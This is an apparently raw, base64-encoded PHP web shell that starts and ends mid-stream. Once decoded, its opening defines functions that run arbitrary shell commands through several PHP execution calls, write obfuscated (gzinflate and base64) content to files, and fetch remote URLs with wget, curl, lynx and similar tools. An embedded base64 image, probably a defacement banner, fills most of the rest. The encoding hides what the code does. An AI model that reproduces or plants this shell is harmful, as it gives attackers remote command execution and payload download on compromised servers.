vbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3FORFUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2ZzRTRmhvZUlpWXFTazVTVmxwZVltWnFpbzZTbHBxZW9xYXF5czdTMXRyZTR1YnJDdzhURnhzZkl5Y3JTMDlUVjF0ZlkyZHJoNHVQazVlYm42T25xOGZMejlQWDI5L2o1K3YvRUFCOEJBQU1CQVFFQkFRRUJBUUVBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUkFBSUJBZ1FFQXdRSEJRUUVBQUVDZHdBQkFnTVJCQVVoTVFZU1FWRUhZWEVUSWpLQkNCUkNrYUd4d1Frak0xTHdGV0p5MFFvV0pEVGhKZkVYR0JrYUppY29LU28xTmpjNE9UcERSRVZHUjBoSlNsTlVWVlpYV0ZsYVkyUmxabWRvYVdwemRIVjJkM2g1ZW9LRGhJV0doNGlKaXBLVGxKV1dsNWlabXFLanBLV21wNmlwcXJLenRMVzJ0N2k1dXNMRHhNWEd4OGpKeXRMVDFOWFcxOWpaMnVMajVPWG01K2pwNnZMejlQWDI5L2o1K3YvYUFBd0RBUUFDRVFNUkFEOEErVnBGQnJNMUNBajVoV214cGtrWWRDRFh4U2RqL1FPdlNWYUxpVjlPdVBNVGFUeUtXL3N4Tkdhb3NyV2srUndNMXJ3eUNhTUdtOUhkSE5RYXIwM1FxYm80MitzdHJIaXM0cHRPQ0s3UFVMSU9wd0s1cTh0U2hQRmRkT2R6NGpNc3ZkQ1YwaW1pQTA4UkE5cWF1WXppcDRqbXRUeDZjVTlHSUljakdLUTIrMDFjaVVHcHZLQkZaODFqMFk0WlRXaG5DTWlwRlhGV210OGRLYjVXS2ZNQ29PTElsV3BGSFNuQ09wRlRGVGMzalRZS09La0E0cEF0U0JhaHM3b1JGVVZLQmltcXRTQmFsbmJDSTVhY0Rpays3VEdrQzFKMFg1ZHlVdmdVaHVGRlZYbE5STVNhYWlZeXhMV3hkT29CT2dxSjlUWTlxamdzWnJnL0t2SHFhdlE2Qm5tUjhmU2g4cTNLZ3NaWCtCYUdZK29zYWlONlQxcm9rOFAydzZrbXBCb0ZvUDREUzlwQkduOWxZNmVya3Z2T1grMVo3MG91QWE2ZzZEWi84ODZZMmhXWS9oL1duN1dKTHlmR0xlU09jRW9QZWxEZTliYjZSWXhubkkvR3E3MjFqR2VDZnpwODZaenl3RmFuOGNvL2VaMmMwMTR3YXVPdG4yY2lvbldBL2RrL09xdWMwNk50RzAvbVowOFZRMnN2bFM0UFN0QjR3UWNNRFZDYUlnOU9hMFR2b2VSV3B1bkpUaWFUU0Fya0dzMjV2dGhJcGd1V1FiVFZaMTgxaVRUakcyNWhpTVZLY1VvYml0Zk0zU29tbmtiT00xUEhDbzZpcEFpZ2RLMDBSNTNKVW5yS1JtUEE4eDV6VDQ3QUtlUldqa0QwRkl6Z1UrWm1Td2xOUG1rN2xYeU52dFRUQnU0SFdwMllFMVBiUUJtQnBYc1hHaEdvK1dJdW42WHVZRWl1a3Q3WVJSWUFxS3lnQVVWZUs0VVZ4em01TSs2eS9CUW9RdWtWaUtobmp5S3NrVkhJT0tsTTY2a0xxeGp6eDRKcDFqeEtLbXVJODVwbG9QM29yZStoNEhzK1dzanFiQTVpRldKT2xRMlM0aVdwSk90Y1QzUDBlbHBTUXlrYmdacHdHYWpuNFEwRVMwaTJRUnJ1bE5Hb3Y4aW9LbHRrNXpWYThPNmNWUzNPS2E1YUw4elAxQ2I3UGJISFU4VmJIN2pSaDY3YzFqNnZKNWwxREVPbTZ0clVsMjZaZ2RsclZyUmVaNGxHbzVUcnlYMlkyT0F1U1dtY251YXJ1dVJWaWNmTVQ3MUNSa1Y2U1B5ZXFyeWR5QWNWWmk1R2FnQ2M0cXhHS2JNS1MxTEVDNUlGZERwY1B6Q3NXelRMQ3VxMHFEQ2c0cmtxdXlQdDhtb09jMHpYdDAyb0tmSTIxYWNvd0FLaHVEaFRYQjFQMDkrNUF6cnVUazBWQmNuazBWdXRqNVd0TnViTmh1dFBUbW1OMXB5R3NUNmVMOTRodkxiekV6am1xbGpPWVpmTFk0RmEyQXd4V1hmMnhSdDZqa1ZVWGZSbkxpYWJweVZlbjBORjFEcldIcU5ua0VnVnFXTjBKa3dlb3AxMUQ1aW5paE54WVlpbkRGMGJvNG00aTJ0VWNiWU5hdW9XdTFqeFdWS2hSdlN1Nkx1ajgxeEZGMEpzdXd2MHE5RnlLeW9YeGl0RzNmaXM1STlIQzFFeXlZd2FZMFB0VThmelUvWURXVnoydlpxU3VWUEt4MnBSSHgwcXhzbzJVN2sreHNRS2xTS3RQMlV1TVVybWloWVFERkJiRk5ac1ZFejVvc0tVMUhZZThsUWx5YUFyT2NDcnRycGpTY3NNQ25kTGN6akNwWGRvSXFSUVBPd0Nqcld0YTZZa1EzU2ZNM3BWbUtCTGRjS09mV2huckp5YjJQY29ZS0ZCYzFUVmp2TVZCZ0RGTEd4YzFDcU5LMkIwcTJpQ05jRHJXYlBUcDgwM2ZvU0x3S1JwUUtqa2wyRGsxajZqcktRZ2hUelFvdVQwSGlNWFR3MEx6ZGpSdWRRU0VaTFZoWHZpTEdRbFlWOXFqU3NmbU5aN1N0STFkc0tQYy9QTWZ4RE9iY2FPaHF6NnhKS1Q4MktxbStkajFOVmxpSjYwOWsyajNyZFJpajVxV0pyMWZla3laYmhpZnZWS2tySHZXZnVJTlRSTzNyVHNSVHJ0dXpMdm10NjA0VEdraVhjS2MwZUt6MFBVWFBhNll4Z3JqcHpVVFJZNkduTXZYdFNESTYwMFlTMTNSSHRaVFRXWnMxWVVnaWxLRHJpbmNqMmQ5bVZmbU5KZ21ySlVVb2pGRnlQWk45U29SaXJ0aEtOd0ZOTUdlMVJoVEMrYUhaNkZVNHlvelV1aDFsb01vS3NPZUtvNlRONWtZcXhLL0pGY0RXcCtpMGFrWFJVbDFIOWFoY1VxdGs5YUhwaEpwb3BYQXdEVVZsSG1iOGFudUJUYklmdlJtdGVoNURnblhSMHRxdUVBOXFXUWNtaTJQeUFVUHlhNU9wOTJ2NGFHanBVTndhbXFDWWZOVkk1NnZ3a2tBd2hxak56S3hxK25FUnFoSi9FYWFPYkVhUWlqQWtVemFxbnNhNkxVRTNXRER2aXNTQ0luVWczdlcvZGdHMGI2VnJONm84TEw2ZDZWZHZyYzg3dVVJZHZyVVJYNWF1M3EvdkgrdFY5dUZydlQwUHpPclR0Tm9yRmNHcG9WcGg2MWJzb2pJNEFGVkoyUmhScDgwK1ZHanBsdVhZY1YxMWxEdFFjWXJNMDIxV05WSndEVzNDUXc0NlY1dFNWMmZyT1VZUlVZSnZjZmlvYmhjcWFzZ1V5Uk1pc1Q2YWNPYU5qQXVWb3F6ZXc3U2FLM1QwUGtLOUpxYlJmYnJRcDVwemQ2WURXSjlLOUdUSWFXV01TSVJVYUhGVEszRkk2STJrck14am16dU0vd2sxcUk0bGp5S2p2cllTb2VPYXAyTTVpZnkzL0NyM1Z6elkzdzFYMmIrRmlYOXFHQk9LNTI3dDlwTmRsTEdIVTFoNmphWnpnVnBUbDBQSXpUQktTNTRvNThIYWF1VzhtTVZYbWoyTWFJbTJtdXA2bytPcHQwNTJadHdQa1ZaVVpGWnRySmtpdFNFNUZjMHRENjNDejlvaHBGR0tsWmMxR1JnMUZ6dGNiRFNLWTFTRVpwTnVhZHpLVWV4WFpTVFNyRnZZQURtcDltS3VXVnVNN2lLSEt3cVdIZFNYS090TEJZZ0dZWk5XandLZWFZMVl0M1BvNFVvMG84c1VNYzRwZ1hlY0NsZmo2MUxGSHRIUFdtUW91Y3JEa1VJdkZObGtDTGs4VVNTQkFhd2RYMVlScVZVODA0eGNtWll2RlF3bE55a3htcmF4c3lvTmN2ZDN6U01lYVplWGhsYzVQTlZFUnBHeWE5S0ZOUlIrUTVqbWRURjFHa3g2N3BUVnFLRUFVa1VlMGRLOU8rRy93RThXZkVrSlBaMllzZE1KNTFDOHlrWkgreU9yL2dNZTlYckoyaWp5NVZLR0RwdXRpWnFLN3M4NHh0UEZJSUpiaHdrVWJTeUhvcUFrbjhLKzFmQi83SlBoTHc0c1Urc1NUYS9kcnl3bFBsd1o5a1hrL2lUWHBsdG9PbGFCYkMzMHZUN1hUNFFNQkxhRll4K2dycmhoSnZXVHNmSDQzakxDVTd3dzBIUHorRmZxL3dSOEM2UDhIZkd1dXFyV25ocS8yTjBlZUx5VlA0dmdWM3VnZnNsK09OVWFQN1IvWjJtcWV2Mmk1M0VmOEFmQWIrZGZYWjYxYXM1dGpBWnJvV0ZoMVo4dlU0dnhyZjdxRVkvSnQvbitoNEhvMzdDMnJYS2czUGlxeGl6Mmh0bmY4QW1WcTNxWDdBL2lCSVMybitLTk11bi91M0VNa1g2amRYMDlvbW9iU0FUeFhYV2wwR1FEZHpWZlZLWFl5anhqbkVYL0VWdTNMSC9JL1BUeFIreDc4Uy9EcVBKSHBNR3J3cnlYMDY1VnorQ3R0WS9nSzhrMTd3dnEzaG02TnRxK21YZWwzQS93Q1dWNUEwVEg4R0FyOWVOaXl4NDcxamEzNGZzdFh0WHR0UXNvTCsxY1lhQzVpV1JHK29JeFdNc0hIN0xQYXczSFdKaTdZcWxHUzhycC9xdnlQeUtLWTlxZUZKR0RYMy93Q1BmMk5mQlhpcEpKOUpXWHcxZk1jZzJuendaOTR6MEgrNlJYeXI4VmYyY2ZHSHdyZVM0dTdUKzB0SFU4YWxZZ3ZHQi90anFuNDhlNXJpcVVLbFBkYUgzK1djUlpkbVRVS2MrV2IrekxSL0xvL2s3K1I1VTBWV2JPMkV6WXpVT0RTeHV5TmtjRWQ2NW5zZlhVK1NNMDVMUTJQN0ovZDVBck11N2Jabml0R3oxd3FtMlVaOTZyM3N5ejVaVGtWakhtVDFQWnhFY0xVcEtWSjY5aGRFWTVJN1ZvUzhNYW9hU01NVFdoS010VXkrSTY4R245V1NFV2grOUNpbVRuYURVZFRyYjVZM0swclpHTzlTV1NFeUNxNStacXYyYWJTS3Q2STRxSzU2cVp0MncrVVVQMXBMZjd0RWd3VFhOMVB0VjhDQ29KT1dxVUdtT01uTk5HRTlVUDZSVlMyNXpWMC82bzFWVVpOTkdOWlhhUlFpdHl0MXVyU3VSL29qZlNrTVlEWnAxM3hhdDlLYmQyam1wMFZTcHpzY0xkcjg3L1dxY3JZRlg3bm56RDcxbHpISk5lbkUvSk1XK1Z0akYrWjYyckZWaFVNZXRaTnZHV2JOYXNLbGlBS0o5Z3dFZVY4OXRUVGh1SkpYQ0xYU1drZjJlQUZ6emp2V2ZvZGdFWHpHSE5TYXZlK1dOb09LOCtYdlBsUituWU9Md3RCNG1zOVhzV0cxRkErQWMxYWhsRXk4Y2l1UkV4TFp6VzFwVnpuNVNhVW9XUnJoTXlkYXB5eUxsNUR1VTBWWWxHNWFLaE94NkZiRHFjcmtUQ21zT0tsYW8zK1VVSTFtdW8wTmlucElLclNQZzAxV0pOT3h6S3J5dXhvQTdsck52cmNxMjllb3EvQjBGSmNKbGVsSk96T2l0VFZhbmRrRmxjK2F1MDlSUmQyNGtVMVNjR0NRT240aXRLR1VUeFpwdlRWSEpTbjdXTHBUM1J6Ti9hYlNhelNwVTExVi9hN2dlSzU2NnR5am5pdXFuSzZQanN4d2pwVDVraGJaeUdGYlZxMjVSWFB4WkRWczJVbUFLVlJHdVgxTE96Tklya1ZHeTFNdkl6VFN0Y3g5UTQzSUF0UENlMVAyVTREaW5jaFFJZ21TT0swTGRjQVZVVmVhdVJIZ1ZMTzNEUnRLNUl3elVibmFwSnFZOUtxT1RMSnRIM1IxcVR0cVBsV200c1NsanZQNENwbmNLS1FEQXJQMUc3RUtubW1sZG5QVXFMRDArWmxiVmRSRVNFQTF4OS9lR1JtT2MxYTFPK01qbm1za2d5TlhvMG9jcXV6OG96Zk1aWW1vNHhlZ3hVTWpaeFczNGQ4T2FoNGoxTzMwM1M3U1M5dnAyMnh3eExray93QkI2azhDdFg0ZS9EM1Z2aUo0Z2cwZlI0UE5uaytaNUc0U0ZPN3Vld0g2OUJYM3I4SnZnem8zd20wanlMT1A3UnFNd0gybS9rSHp5bjBIOTFmUWZubXUyblNkVitSK2Y1cG05REpvV2Z2VlhzdjFmbCtaNTM4SC93QmxYU2ZDY2NPcCtLRmkxblZ4aDF0U04xdEFmb2Z2bjNQSHQzcjNzSXNTS3FBS29HRkNqQUE5S2xJd1R4eFZlZVh5eDF4WHF3aEdtclJSK080M0g0ak1LbnRjUks3L0FBWG91aERjdHRCejNySHZKQjA3MVl2dFVpanlDd3pYSCtKL0hHaitHNERjYXBxTnZZd25vMDBnVXQ3QWRUOUJWdDIxWnd4aktiVVlxN1p0cysyaU9VWjY4MTRMNGkvYXU4T2FlelI2WmFYZXJPRHcrQkRHZnhibi93QWRyaHIvQVBhNDE2YVFteTBmVDdaZjRmTlo1Q1BxUVFQMHJGMTZhNm4wRkRoL01hNnVxZGw1dEw4Ti93QUQ3TDA2OTJsZWNZNjExbW1hb3U0WlA0MStmQS9hdThjQjl5alRVeDJGc2Y4QTRxdG5UUDJ4dkd0bXdNMXBwVnl2b1lYWCtUMW45YXBub0xoVE1XdE9YNy8rQWZvM3AxMnN3QXpWK1dJTXZybXZpUHdmKzNoREJKR211ZUdwSWs2TkxZVGgvd0R4eGdQL0FFS3ZvNzRjL3RHK0IvaVEwZHZwbXR3cGZQd0xLOC9jekUrZ0RmZVArNlRXc2ExT2VpWjVXS3lQTWNFbkt0UmR1NjFYM3E5dm1kL0xGc09EVlY0a3VWWkhBZENDcklSa0VlNHE5TzZTRW52VktRYlEyMDdUMXJZOEkrYi9BSTFmc2ZhVDR1V2ZWZkNDdzZMclJ5N1dXTnRyY0gySC9MTnZwOHZzT3RmRnZpRHc1cVhoVFY3blM5WHNwdFAxQzNiYkxCTXVHVS8xQjdFY0h0WDZ2TE5qQXp6NjE1NThhZmdob254bDBVeFhRV3oxcUJTTFBVa1g1a1A5MXY3eUU5dTNVVjU5ZkNxWHZRM1AwcklPTHF1RGxIRDQ5dVZQdnU0LzVyOFYwN0g1b053ZUtOK09sZEI0NDhFYXQ4UHZFZDNvbXRXcHRyNjNiNnJJdloxUGRUMk5jNjQ5SzhpMXRHZnRzYWtha0ZVcHU4WHFtdXhlc2IxSUd3MzUxcHJNazNLc0RYTmZkTlBqbmFOc3FTS2lVTDZubzRmTUpVbHlTVjBkTUJnWnFuY3lkcXF4YW8yM2EzUHZTaGpLM0JyTlJhM1BVbmlvVlkycGtzS2JqbXRLMlhHS3IyOFBITlg0bzlvck9UUFF3bEpyVXRSTmpGVE9Od3pWZE0xT2g0d2F5WjlMVGQxWmtSNG9xUjA3aW9zNDYwSWlTNVhxUEF5aHFGVndhbVRyUytXYzBYRzQ4eVRJaU9RS2p2MkNXcm4ycXdWK2VzM1hwL0t0U1BXbkhWcEhMaVpLbFJuSjlqa3Jwc1JPZlUxbWZlUEhOWDc5OXNhTDY4MVh0NHR4Qk5lbkhSWFB4ekVwMUtxaWlhM2kyZ2NjbXRyVHJRc3k4Y21xVnJEdmNWMHVtVytEbkhTc0trdEQ2YktzR3B6UnBSSUlvUUI2VnpXcXVXdUdCcnFKZmxqcmt0VWI5K2E1Nlc1OVRuTDVLRVlvcWcxZjAyZmJLQm5pczFHeWFzVzBtMlVkcTZKTFErVXcxVGtxS1NPeFE3b3hSVWRrMitCZnBSWENmcGNQZmlwRHp4VU1yREdLYzhneFZhUjgxUnkxYWlTc1JzY21uSXZOTkgxcHc2MVJ3TGU1ZGc0V3BaRjNDb0lHNEFxeU9SV2JQWnBXY2JHWmN4N0NUamlxOE1wdHBRUnloclF1MUJVMWxid0dLTjBQU3RGcWp4TVN2WlZFMW9hN0FUUjVIZXNlL3RNNU9LdFdWd1kyOHRqeDJxM2N3aVJEM29YdXMwcXdqaktWK3B5THFVYXJsbkpnaW5YOW9VT2NWWGdPMXE2Yjh5UGtGQ1dIcldaME1EQmxGU2xjMVJzcGVnclFISXJtZWg5alJrcWtFeHV5bDI4VTREaWt4U09qbEc0NXF4R0toQTVxVGVJMEpOSm1sT3kxWXR4TnRBUmZ2R2lOQWkrOU1nUXV4ZHVwNlUrYVFScVNUaWw1R3FkNzFKRWR6T0kwSk5jbnE5K1hjZ0dyMnJhbG5LcWE1dVpqSXg1cnJwUTZzK0R6ck1lZjkxVFpYWW1Salc5NE84SGFsNDAxK3owZlNyYzNOOWRQdFJSMEE3c1QyQUhKTlprRUc0OU0xK2dIN0wzd05qK0hIaGFQV2RVdHgvd2tXcHhoNUE0NXRvanlzWTlEMExlL0hhdlFwUWRXWEt0ajh3emZNSVpSaFhYbnJONlJYZC81THI5M1U2VDRUZkNQVFBoSjRYajA2elVUWGN1Skx5OFpmbm5reCtpam9CMitwSlBZM1VpcW00bkdLdGFucUVkdXB6amp0WEM2NXJyeUZnalk5cTlxTVZGV1IrQ1Y2OVRFMUpWcXJ2SjZ0bWxxT3Z4V3dJREFtdUsxN3gybGpCTE5OS2tFTVlMUEpJd1ZWSHFTYTV2eDk0NDAvd0FEYVEybzZ2TVZMNUVOdW5Nc3plaWorWjZDdmtiNGdmRVRXZmlKZU0xM0liYlQxYk1WakVUc1gwTGYzajduOE1WalZyUnA2ZFQzY3B5TEU1cSthS3REdi9sM1BTZmlUKzFGUExMTForR0FDUVNwMUNWY2ovZ0NuK1ovS3ZCTlYxcS8xNjlrdk5RdTVyMjZjL05MTTVaaitmYjJxUVdRWHRSOW5BN1Y1czZ6bnVmcTJDeVNuZ0kycFJzKy9WL1Ara1VrSko1cVZldFdCYmcvV3ZZZmhsK3k1NHA4Znd4WHR5cTZEcEw4cmNYYWt5U0QxU1BxZnFjRDB6VXhUbTdSUjFZaXBTd01QYVlpYWl2UDlPL3lQR3gxcWUzaGtuY0pGRzhqbmdLaWtrMTkwK0V2MlQvQkhoMkZQdGRuSnJsMEJ6TmZPZHVmWkZ3TWZYUDFyMGZTL0JHbWVIb0JIcG1tMnRpZ1AzYmVGVS9rSzZWaFpQNG5ZK1RyOFg0YWs3VUtibDY2TDlYK0IrZDF0NEg4U1hNZm1SZUg5VGtqL3ZMWnlFZnlwSi9EMnM2WU4xMXBkOWE0UDNwYmQweCtZcjlLRXRtVVZPaWtaQkFLL3dBNnA0TlA3UnpVK09hc0hkMEZiL0UvOGo0NCtFUDdXM2luNGV2RFlheEpKNGkwTmNLWXJsOHp3ai9Za1BQSDkxc2oweFgycDRIK0pXaC9FelJFMVhRcjFicUE4U1JuaVNGdjdycjFCL1E5czF5bmlMNFQrRVBHMGJMcTNoK3luZHYrVzhjZmxTajMzcmcvclhrMTMremg0aitGV3VEeEo4TDlhYVdWUDlacEdvTVAzNmRTbTdoV0I5R0FJN05tcmpHclIvdkw4VHpzWmlNbnp5OG9MNnZXOC9nbDZ0YmV0bDUzUHFSM3gwb1dZNTVPTVZ3bnczK0pNUGo3VDVUTGF5NlZyZG1SRnFHazNRS3kyei9ROVZQSkRkNjdYemdlTnVSWGFtcEs2UGg2MUdwaDZqcFZWWnIrdjZaNTc4ZWZnNVlmR1R3czBXMUxmWDdRRjdDOFBHRDNqWS8zRy9RNFBxRCtkZXNhVGQ2RnFkMXA5L2J2Ylh0dEkwVTBNZ3d5TURnaXYxWFdRRWNIcFh6QisyTjhIazFMVGg0NDBtQUM3dFZDYWxHZzVraTZMTDlWNkgyeDZWNStLbzh5OXBIYy9SK0VNK2VHcUxMc1EvY2w4UGsrM28vejlXZkc3TG50U0JmeHFUT2FRWUJyeWo5b2NVSWdJUE5UeHV5bkk0cHFybXBrd0I2MUxaMDA0dEdoWTM0QkN5Y2U5YkNFT29LbklybWdLdVdsMUpiSEdkeStsYzhvOVVmUzRUR09IdVZOVjNONUJVaThHcTl0ZEpPT0RnK2xXbEZZTStycE5UU2NYb1NLY2pCcHJSQTBxMCtvTzFSVWxxUnJIaWxkOWdwWGNLS3JrbHpUTTVOUTBqdUt2ZGpYTmE1UDlvdUJHRHdLM05SdTF0b1NBZm1OY3BlU21PTnBEOTkrbGRGS090ejVQT3NRbzAvWXArYk15N1Btem5IUWNWUEJGdEE5YWdnakx2azFwVzhXNXdCWFkzYlErQnc5TjFadWI2bDNUNE1BRWl1aHNZOEp4V1pER0kxRmE5bjl3VnhUZHo5SHkyaXFiU0hYVFlpYXVSMURtUmpYV1h4eEUzMHJrcjAvT2VhZExjNWM4ZWlSVFE0TlRLY09EVmNrZzFLcHlNMTF0SHhrSkhXNlRPSGdBOUtLeXRHdTlqWUpvcmhuR3pQMGZBWXVNNkViczBEUG5OTTM1Tk14UlRzY1RuSjdqOS9GS0dCcHFSdTU0VTFiaHNUd1dwUFExcHduVWZ1b2t0d2NWYkF3T2FZcXJFdldxMXhmS29QTlJ2c2V3cFJvUTk1aVhjZ0FOWWx5ZWNpckZ4ZWIraHFvVHZITmJSVmo1akdWMVdkb2xpR1R6by9SeFduWlhQbXJzYjd3ckZpQmpZRVZjREZDSlYvR2lTS3d0ZVVOZnZMbDdiYnh3S3c1b1RHNUdLNlNKeFBFRFZLN3M5eEpBcVl5dG96cXh1RlZXUHRJR2ZheUZUeld2QklHV3NqeWpHMVc3ZVVxUlZTVjlUbHdsUjAzeXlOTVlvSzAyTnd3cVNzajZDTnBJaVBIMHBpZjZUSi9zTFNTdDVzZ2pYOFRWcEZFS1lIRkd4bkZjOHJkRURNSTFyRTFYVVFBVkI1cWJVOVNFYWtBODF6Yzh6U3VTVFcxT0Y5V2VCbW1ZcUM5bFRaRGNTbHo2MDJLTGNjNHA2UjU3VmJpaXdNNHJxYnNmRndwT3JMbWtlMi9za2ZDZFBpRDhSRjFDOWlENlRvWVc2bFZobFpKYy91a1A0Z3NmWk1kNis4Tlh2bHNsS3FNc1JYblg3T1hncUw0WS9CelN4TEVxYW5xaS9iN25JK2JMZ0ZGUDBUYU1ldWEzOVJ1bnVaQ2NuSjdWN21HcDhsTmQyZnp6eFBtWDlvNWpQbGZ1UTkyUHkzZnpmNFdNalY3MlNlVXJra211UzhiYS9wL2dQdzFkYTdxNVBrd2pFY0lQelRTSDdxTDduOUJrOXE5QTAvU1BPa0R1T1BldmlUOXBENG5uNGhlTjVMT3lsSjBMU21hM3RsQitXVndjUEwrSkdCN0FlcHFxOVgyVWI5VExoL0o1WnppMVNmd1Ixay9MdDZ2L05ubmZqWHhocVhqL1g1OVcxT1RNajhSUXI5eUZPeUtPd0g2OVRXSUlxc0NMSTZWSkhDYzlLOEJ5YmQyZjBoaDhGQ2pDTktsRzBWb2l2SGFsemdDdnBiOW1YOWlEWGYyaExPNDFpYThHZ2VHNFdNUXY1WVRJOXhJT3F4SmtaQTdzVGdIams1eHhmN09md1N2ZmpuOFROTThOV3hlRzJjK2RmWGFybjdQYnI5OXZxZUZIdXdyOXEvQ0hoUFRQQnZodlR0RDBpMFN5MHl3aFdDM2dqSENxQng5VDNKNmtrazhtdXJEVWZiUG1sOEsvRStRNHN6eFpGU2poc05aMTVxOTNyeXg3MmVsMzB2MDE3SHdIcG43RW5oZjRNNm9sNUlKL0VHb1JuZEZjWHlyNWNaSGRZeHhuM09jZHE3VzNpUG1iV1hGZldYam53bkZyZGpJTmdNZ0hCeFh6dHJuaDJUVExwNHlNRlRYdFJoR0N0Rkg0SGlzWmlNZFU5cmladVQ4L3dCT2krUmxRMmF5WUFBeWVCV2ZvMS9ZZUl0T1MrMDJkTHUyZG1UZW5abFlxeW4wSUl